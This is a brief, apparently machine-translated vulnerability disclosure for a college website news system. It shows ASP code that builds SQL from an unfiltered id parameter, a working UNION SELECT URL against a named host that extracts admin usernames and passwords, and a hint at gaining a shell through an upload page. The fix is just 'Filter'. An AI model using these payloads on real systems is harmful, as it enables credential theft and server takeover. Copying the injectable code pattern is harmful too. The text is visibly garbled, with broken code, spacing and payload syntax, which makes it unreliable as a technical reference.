Injection Vulnerability and repair in V3.0 of Shenzhen information Vocational and Technical College

Author: xiaokis

Affected Version: V3.0

 

Vulnerability Type: SQL Injection
Vulnerability description:
File: newss. asp

<% On error resume next SQL = "update news set hits = hits + 1 where id =" & cstr (request ("id") conn.exe cute SQL set rs = server. createobject ("adodb. recordset ") SQL =" select * from news where id = "& request (" id ") rs. open SQL, conn, 1, 1, if rs. eof and rs. bof then response. write "<script> alert (Sorry, this information does not exist. Please return it !); Window. close (); </Script> "response. end else %>

Vulnerability validation: http://www.bkjia.com/news/gb/newss.asp? Id = 105% 20 union % 20 select %, 3, username, 5, password, 9, 10, from % 20 admin

This system still has multiple injections!

 

After entering the background, there is an uploadpic. asp method used by leichi to obtain the SHELL method (not tested)

Fix: Filter